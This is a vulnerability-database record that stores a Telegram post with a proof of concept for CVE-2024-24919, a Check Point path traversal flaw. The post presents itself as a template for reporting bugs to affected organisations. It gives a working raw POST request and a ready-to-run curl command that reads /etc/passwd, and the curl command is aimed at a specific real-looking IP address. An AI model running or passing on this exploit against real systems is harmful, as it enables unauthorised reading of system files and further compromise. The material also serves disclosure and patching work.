{"uuid": "e40a565e-feba-41ec-9a85-2fc584ec31eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-24919", "type": "published-proof-of-concept", "source": "https://t.me/lostsec/554", "content": "Check-point CVE-2024-24919 allow unauthorized user to read internal files\n\nVulnerability Summary:\n\nA critical path traversal vulnerability (CVE-2024-24919) has been identified on the server hosted at example.com. This vulnerability allows an attacker to access sensitive files on the server, including the /etc/passwd file, which can lead to unauthorized access and potential system compromise.\n\nSteps to Reproduce:\n\nTo reproduce the vulnerability, follow these steps:\n\n1. Visit the website: https://example.com/\n2. Navigate to the path /clients/MyCRL and intercept the request using a third-party proxy tool (e.g., Burp Suite).\n3. Send the intercepted request to the repeater.\n4. Modify the request method to POST and enter the following payload in request body : aCSHELL/../../../../../../../etc/passwd.\n\nThe modified request should look like this:\n\nPOST /clients/MyCRL HTTP/1.1 \nHost: example.com \nContent-Length: 39\n\naCSHELL/../../../../../../../etc/passwd\n\n//also you can do this by simple curl command just change the ip address of host and url:\n\ncurl --path-as-is -i -s -k -X $'POST' \\\n -H $'Host: 212.179.13.8' -H $'Content-Length: 39' -H $'Connection: keep-alive' \\\n --data-binary $'aCSHELL/../../../../../../../etc/passwd' \\\n $'https://212.179.13.8/clients/MyCRL'\n\nImpact:\n\nThis vulnerability allows attackers to perform directory traversal attacks, accessing sensitive files on the server. Specifically, by accessing the /etc/passwd file, attackers can obtain information about system users, which can be leveraged to further compromise the system. This could lead to:\n\n* Unauthorized access\n* Data breaches\n* Potential control over the affected server\n\nPoc Attached !\n\nRecommendation:\n\nIt is crucial to address this vulnerability immediately to prevent any exploitation. I recommend that the server administrators take the following steps:\n\n1. Patch the vulnerability as soon as possible.\n2. Implement additional security measures to prevent directory traversal attacks.\n3. Conduct a thorough security audit to identify and remediate any other potential vulnerabilities.\n\nBy addressing this vulnerability, you can prevent unauthorized access and potential system compromise, ensuring the security and integrity of your server and data.\nPlease let us know if you need any further assistance or clarification regarding this vulnerability.\n\nRegards \nCoffinxp\nSecurity Researcher\n------------------------------------------------------\nuse this format and report to the vulnerable org..if u need any help dm me", "creation_timestamp": "2024-06-03T09:54:52.000000Z"}